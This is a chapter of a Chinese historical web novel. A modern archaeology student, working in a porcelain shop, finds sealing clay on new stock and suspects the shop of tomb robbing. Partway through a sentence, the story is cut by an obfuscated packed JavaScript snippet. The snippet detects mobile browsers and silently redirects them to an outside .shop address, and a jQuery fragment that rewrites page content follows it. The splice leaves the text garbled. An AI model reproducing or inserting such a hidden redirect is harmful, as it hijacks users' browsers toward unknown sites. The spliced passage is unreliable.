天光灰白灰白的,雨下了又停、停了又下。来之前,看着天亮了、雨小了,谁知没过一会功夫,雨丝就飘起来,又冷又湿。地面仍是冻住的,雨水渗不下去,结了一层薄薄的冰膜,踩上去滑溜溜的。郑小池在路上,摔了个大马趴,硌得手腕破了皮。
早上吃的是胡饼就粟米粥,干硬的胡饼十分噎人,难以下咽,得就上一口热粥才好。粥是阿征熬的,柴火堆淋湿了不好燃,烟气又大,他性子急,只将粥胡乱煮了个半透。吴掌柜只在铺子里面吃午饭,通常吃完了早饭才从家里面过来。
柱子嫌粥夹生不滑爽,带了些气,说起话来阴阳怪气,阿征有些按捺不住,被郑小池拉住了。阿征板着脸,端个碗,口中咬了块胡饼,到一旁屋檐下面蹲着,一个人吃起来。郑小池吃得少,略吃了两口,将碗放下,准备进前堂。
柱子喊住她:“喂,小锣锅,吃好了就脚底抹油啊?我看掌柜的是瞎了眼,招来的都是些什么人,一个是连粥都做不好的废物秧,一个好吃懒做,拈轻怕重。”
四蛋从酱菜缸里掏了些咸菜,装在粗陶碟子里端给柱子:“柱子哥,要不就着点咸菜?这雨下得没完没了,咱们的柴火全淋了。”
“你少在这和稀泥!饿死鬼投胎的么?这都能吃得下去?”柱子对着四蛋指桑骂槐。
郑小池叹口气,她没回头,语气平淡:“碗放着,一会吃完了我再过来刷。”
约莫巳时刚过,有个中年人过来找吴掌柜嘀咕了几句,吴掌柜就将四蛋喊了出来,与那中年人一道出门去了,说是别处忙不过来,要四蛋去帮工几日。
天闷得发灰,无客上门,吴掌柜拢着一个暖手炉,燃起香,靠着柜面上打盹。郑小池抱膝蹲在门口看雨,雨丝忽聚忽散,邻舍小儿与母亲的笑闹声传来,敲打进她的心田。
郑小池又想家了。以前,这种天气,妈妈常给她熬红豆圆子羹或是煮上一杯香浓的热巧克力牛奶,再撒上温暖甜香的锡兰肉桂粉,暖胃驱寒。曾经的家,在漫长的岁月中渐渐模糊,远得像上辈子,自己的世界中时间过去了多久了呢?爸爸妈妈变成什么样了呢?白发多了么?身体还好么?想着想着,郑小池的眼眶红了。
忽然,一阵拳肉相撞的闷响从后院传来,粗重的喘息混杂着咒骂,郑小池被唬了一跳,忙站起来往后院跑。又一阵东西翻倒的哐当声,将吴掌柜的清梦扰断,他揉揉迷蒙的睡眼,揣起手炉,往后堂去。
柱子将阿征按在灶台边的地上,一拳一拳挥打,郑小池跑过去拉架,反而被柱子推开,撞在碗架上痛呼一声,碗碟如鲤鱼下水般,哗啦啦地从郑小池脑袋上掉下来,碎了一地。血顺着郑小池湿漉漉的发梢滴下,却染红了阿征的眼睛。
阿征怒不可遏,目眦尽裂,他奋力推开阿征,两人扭打在一起。
“吃饱了撑的打架!”吴掌柜站在后堂的屋檐下,隔着雨幕看见一片狼藉,他大喊一声,破了音,“小畜生羔子,嫌命长了?我跟你们说,打碎的东西从你们的工钱里面扣,快点给我收拾干净咯!柱子你给我过来!”
阿征虽算得上同龄人中力气大的,但是跟浑身腱子肉的柱子相比,他并不占优势,动起手来吃了不少亏。见掌柜将柱子喊走,息事宁人,并不过问缘由,他气得攥起拳头锤地:“瞎了眼的囚根子,不识好歹!”
郑小池伸手摸了摸额角,手指沾了血,她捡了块干净些的布擦了手指和额角,走到阿征面前,将他拉起来,擦掉他嘴角边的血。看到阿征的眼下已经充血,她回身将布泡了水、拧干,轻轻地贴在阿征脸上。
“疼吗?”郑小池心里一酸,不等阿征回答,她撇撇嘴,“明日更疼,眼睛肿个血包,走路都看不清,摔个大马趴。”
阿征气焰顿时熄了,他“噗嗤”一笑:“对,我摔个大马趴,给你赔不是,可好?”
郑小池不说话,顺势在他旁边坐下来。
阿征顺着她的眼光看去:“在看什么?”
“看雨。”郑小池答。
阿征不解:“雨有什么好看的,烦死了,一会还得生火。”
郑小池沉默,阿征咬了咬嘴唇,也沉默。
“你想过走吗?”郑小池说,“我是说,离开这里,带上刘五儿一起。”
阿征“嘘”一声,忙伸头往后堂那边看,见无人,他才说道:“怎么走,把刘五儿偷出来吗?可是不知道他在哪,而且他没拿到手实,还是个黑户……”
郑小池笑他:“偷刘五儿?亏你想得出来。”
阿征不明白:“那去哪?”
郑小池心里叹了一声,也是,她自己对这个地方、对大齐没有依恋,但是阿征和刘五儿是大齐的人,这里就是他们的家乡,为何要跟随她这个异乡人一道离开呢?
阿征却猛地抓住她的胳膊,肌肉绷紧:“你还在想那个什么玉?在想那个胡人的话?他说的话未必能信。”
郑小池腾出一只手,将阿征的手从自己的胳膊上拿开,移开视线:“我知道。”
想到刘五儿,郑小池和阿征都有些伤感。十几天了,不知他的伤如何了?也不知哪日才能完成御史大人的交代,与刘五儿团聚。
柱子随吴掌柜去铺面前堂,逗留了半个时辰,再回来时已面色如常,眉宇间隐约透出几分满足的意味。
郑小池将灶台归置好,与阿征一起生了火,锅里下了酱豆和菜干,加水煮开,就是菜汤了。鏊子烙几锅死面饼,便是四人的主食。吴掌柜自己另有干肉或糟鱼佐餐,杂役偶尔才能沾些肉味,多是吴掌柜从家里带来的边角料。
郑小池不愿与柱子多嘴,她对阿征使了个眼色,暗示他勿再起纷争。碎了的碗碟,郑小池记了数,碎瓷送去西墙根下堆着,她去前堂报数目给吴掌柜。
几日后,四蛋回来了,与他一同来的,还有堆满三辆马车的货。阿征他们卸掉车顶的油蜡布,搬箱入库,郑小池仍跟着吴掌柜在库房点货。
箱子里的货品裹了层层草纸,外面又缠有厚厚的麻绳,看不出形状。每个东西的包装外贴有纸片做标记,有的涂了朱砂红,有的抹了松石绿,还有的点了黑墨点。郑小池不知道每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864362|212144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种标记的区别,她不也需要知道,吴掌柜的账册上用的是同样的标记进行分类记档,她的工作就是计数、核对记录。
潮湿的“地窖味”混杂着奇特的香气,甚至夹杂有难以名状的怪异药味。箱子打开没一会儿,这种味道就充斥了整个库房。
一箱货点完,郑小池关箱盖时,手指在箱体一侧触到了细腻又粘稠的东西,这种触感复苏了她沉睡了十几年的记忆。她迅速抬头看了眼吴掌柜,竭力调整好自己的呼吸节奏,免得被吴掌柜看出异样。
吴掌柜没有察觉,仍低头看册子,郑小池趁机用小指甲在黏腻物上刮擦了一下。
四蛋盯着乌青的大黑眼圈,满脸憔悴不堪,衣服上凝结着干涸的泥浆,如同困了几天几夜,饿了几天几夜,又在泥巴地里打过滚。他一回来就将灶台上剩的馎饦热了,一口气全吃光。等点完货出来,吴掌柜竟然破天荒给他放了假,不扣工钱的假。
要知道,吴掌柜可是铁公鸡一样的人,算盘打得比贼都精明,一年里除了元日、元宵、清明、父母祭日等大日子休假是按日工钱外,其余时间告假均要被扣除双倍的工钱。
郑小池假借喝水,一个人钻到灶台边。她背过身,将小手指指甲盖里的东西抠出来,捻了捻——青灰色的泥状物,内含些许黄褐色的杂质,细腻致密,触感光滑,类似膏状,散发着轻微的石灰气味。
青膏泥,没错,郑小池很确定。这是用来密封的一种防水材料,常见于高级墓葬、重要建筑遗址或水利工程。学考古的,无一不熟悉。
郑小池如芒在背,寒毛倒竖:万年瓷器铺涉嫌盗墓、倒卖文物!
在郑缨的世界中,保护陵墓被视为维护社会秩序和延续世代情感的重要手段,各朝各代均用律法威慑与道德教化结合,三令五申禁止盗掘。
万年瓷器铺哪里来的胆子,冒天下之大不韪?她和阿征岂不是成了没有编制的炮灰卧底?
碰瓷马车是因为上面有御史大人要的人,瓷铺打工是因为有御史大人要查的案。郭宽那日说“多听多做多想”,就是要他们琢磨出铺子的问题,记下关键信息吧?得益于郑缨的经历,她已经提前琢磨出来了。
郑小池下意识地攥紧拳头,指尖却在不受控制地微微发抖。
四蛋带回来的货,吴掌柜十分看重,隔天就带上柱子亲自押送出货,一时半刻不回来,临走前交代四蛋看好铺子。
四蛋恭恭敬敬应了,谁知吴掌柜的马车前脚刚走,他转眼就在掌柜的靠背椅上坐下,熟练地摸出一把枣儿吃。
郑小池在擦货架,没准备与四蛋攀谈,这是前堂的规矩。谁知四蛋忽然开口:“喂,你说这世道奇不奇怪,有些贵人家里摆个铜炉,官府睁一只眼闭一只眼;有些人存了两件祖传的旧铜器,被人告一状,全家流放。”
郑小池没接话头,只继续擦着,余光瞟过四蛋的神情。他翘着腿,目视街面外,一副自言自语的模样。见她没反应,四蛋没有再说,将嘴里的枣核往地上一吐,正巧落在郑小池脚边,哼了小曲就往后院去。